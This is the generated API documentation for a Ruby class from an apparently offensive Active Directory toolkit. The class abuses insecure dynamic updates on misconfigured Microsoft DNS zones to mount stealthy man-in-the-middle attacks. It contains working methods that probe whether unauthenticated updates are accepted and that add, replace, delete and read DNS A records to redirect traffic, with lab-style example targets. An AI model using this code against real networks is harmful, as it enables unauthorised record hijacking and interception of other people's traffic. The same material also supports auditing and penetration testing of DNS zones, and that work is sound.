Class: ADAssault::DNS::DUZDU

Inherits:
Object
  • Object
show all
Defined in:
lib/adassault/dns/duzdu.rb

Overview

DNS unsecure zone dynamic update (DUZDU).

On a misconfigured MS DNS zone, one can abuse dynamic updates to perform MiTM attacks in a very stealth way.

On a Windows server with the DNS role, the DSPROPERTY_ZONE_ALLOW_UPDATE property defines whether dynamic updates are allowed. See Microsoft - MS-DNSP - 2.3.2.1.1 Property Id.
The possible values (fAllowUpdate) are (see Microsoft - MS-DNSP - 2.2.5.2.4.1 DNS_RPC_ZONE_INFO_W2K):

  • 0 (ZONE_UPDATE_OFF): No updates are allowed for the zone.
  • 1 (ZONE_UPDATE_UNSECURE): All updates (secure and unsecure) are allowed for the zone.
  • 2 (ZONE_UPDATE_SECURE): The zone only allows secure updates, that is, DNS packet MUST have a TSIG [RFC2845] present in the additional section.

One can see the property when connected to the DNS server (near 100% of times on the domain controller), with the command: dnscmd.exe /ZoneInfo <example: thm.local> and the value of update.
Another option with the GUI, is to launch DNS Manager on the Windows server, then unfold the tree until the DNS zone, right click on it, select Properties, on the General tab, see the value of the select fields named Dynamic updates.
Of course it is also possible to check remotly by trying to create a record. (see #checkv4)

References:

Since:

  • 0.0.2

Instance Method Summary collapse

Constructor Details

#initialize(ad_domain, dns_opts = nil) ⇒ DUZDU

Create the DUZDU object

Examples:

duz = ADAssault::DNS::DUZDU.new('THM.local', nameserver: ['10.10.30.209'])

Parameters:

  • ad_domain (String)

    the Active Directory domain to work on.

  • dns_opts (Hash) (defaults to: nil)

    options for the DNS resolver. See Resolv::DNS.new.

Options Hash (dns_opts):

  • :nameserver (Array|String)

    the DNS server to contact

Since:

  • 0.0.2



46
47
48
49
# File 'lib/adassault/dns/duzdu.rb', line 46

def initialize(ad_domain, dns_opts = nil)
  @ad_domain = ad_domain
  @dns_opts = dns_opts
end

Instance Method Details

#addv4(name, ip) ⇒ TrueClass|FalseClass

Add a DNS A record (IPv4) via dynamic updates

Warning: adding 2nd value the same name will result in two entries for the same record, not updating the name (for that use #replacev4).

Examples:

duz.addv4('noraj', '10.10.56.125') # => true

Parameters:

  • name (String)

    DNS name, A record. The domain is automatically appended, e.g. test ➡️ test.example.org

  • ip (String)

    IP address

Returns:

  • (TrueClass|FalseClass)

    true if the record was added successfully

Since:

  • 0.0.2



74
75
76
77
78
# File 'lib/adassault/dns/duzdu.rb', line 74

def addv4(name, ip)
  update = Dnsruby::Update.new(@ad_domain)
  update.add("#{name}.#{@ad_domain}.", 'A', 300, ip)
  send_update(update)
end

#checkv4TrueClass|FalseClass

Check if unsecure dynamic updates are allowed (IPv4)

It will try to create a random IPv4 record in the zone and remove it.

Examples:

duz.checkv4 # => false

Returns:

  • (TrueClass|FalseClass)

    true means unsecure dynamic updates are enabled

Since:

  • 0.0.2



102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# File 'lib/adassault/dns/duzdu.rb', line 102

def checkv4
  networks = ['10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16'].map { |x| IPAddr.new(x) }
  network = networks.sample
  begin
    name = Random.uuid_v4 # Ruby 3.3+
  rescue NoMethodError
    # see https://github.com/ruby/securerandom/issues/31
    name = Random.uuid # Ruby 3.2-
  end
  ip = IPAddr.new(rand(network.to_range.begin.succ.to_i..network.to_range.end.to_i - 1), network.family)
  created = addv4(name, ip)
  # if created
  #   deletev4(name)
  #   true
  # else
  #   false
  # end
  created ? deletev4(name) || true : false
end

#deletev4(name) ⇒ TrueClass|FalseClass

Remove a DNS A record (IPv4) via dynamic updates

Warning: if several entries exist for the same record, they will all be deleted.

Examples:

duz.deletev4('noraj') # => true

Parameters:

  • name (String)

    DNS name, A record. The domain is automatically appended, e.g. test ➡️ test.example.org

Returns:

  • (TrueClass|FalseClass)

    true if the record was removed successfully

Since:

  • 0.0.2



87
88
89
90
91
92
# File 'lib/adassault/dns/duzdu.rb', line 87

def deletev4(name)
  update = Dnsruby::Update.new(@ad_domain)
  update.present("#{name}.#{@ad_domain}", 'A')
  update.delete("#{name}.#{@ad_domain}", 'A')
  send_update(update)
end

#display(success, cmd) ⇒ nil

Display a CLI-friendly output showing if the executed method was successful or not

Parameters:

  • success (TrueClass|FalseClass)

    result of the command

  • cmd (String)

    name of the executed command

Returns:

  • (nil)

Since:

  • 0.0.2



141
142
143
144
145
146
147
148
149
150
151
# File 'lib/adassault/dns/duzdu.rb', line 141

def display(success, cmd)
  # allowed_methods = DUZDU.public_instance_methods(false) - [:display]
  # success = allowed_methods.include?(cmd.to_sym) ? send(cmd) : nil
  message = if success
              Paint["#{cmd} was executed successfully",
                    'green']
            else
              Paint["#{cmd} was unsuccessful", 'red']
            end
  puts message
end

#display_record(name, ips) ⇒ nil

Display a CLI-friendly output formating the DNS record with its FQDN and IP addresses.

Parameters:

  • name (String)

    record name, e.g. the argument of #getv4

  • ips (Array<String>)

    list of IP addresses, e.g. the return value of #getv4

Returns:

  • (nil)

Since:

  • 0.0.2



157
158
159
160
# File 'lib/adassault/dns/duzdu.rb', line 157

def display_record(name, ips)
  fqdn = "#{name}.#{@ad_domain}"
  puts "#{Paint[fqdn, 'cyan']} - #{Paint[ips.join(', '), 'aquamarine']}"
end

#getv4(name) ⇒ Array<String>

Get the value(s) of a DNS A record (IPv4)

Examples:

duz.getv4('noraj') # => ["10.10.56.128", "10.10.56.126"]

Parameters:

  • name (String)

    DNS name, A record. The domain is automatically appended, e.g. test ➡️ test.example.org

Returns:

  • (Array<String>)

    the IP address(es) as string(s)

Since:

  • 0.0.2



128
129
130
131
132
133
134
135
# File 'lib/adassault/dns/duzdu.rb', line 128

def getv4(name)
  Dnsruby::DNS.open(@dns_opts) do |dns|
    ress = dns.getresources("#{name}.#{@ad_domain}", 'A')
    ress.map { |x| x.address.to_s }
  rescue Dnsruby::NXDomain # The requested domain does not exist
    ['']
  end
end

#replacev4(name, ip) ⇒ TrueClass|FalseClass

Change the value of an existing DNS A record (IPv4) via dynamic updates

It will remove and recreate the record.

Warning: if several entries exist for the same record, they will all be replaced by the new value.

Examples:

duz.replacev4('noraj', '10.10.56.126') # => true

Parameters:

  • name (String)

    DNS name, A record. The domain is automatically appended, e.g. test ➡️ test.example.org

  • ip (String)

    IP address

Returns:

  • (TrueClass|FalseClass)

    true if the record was changed successfully

Since:

  • 0.0.2



61
62
63
64
# File 'lib/adassault/dns/duzdu.rb', line 61

def replacev4(name, ip)
  deletev4(name)
  addv4(name, ip)
end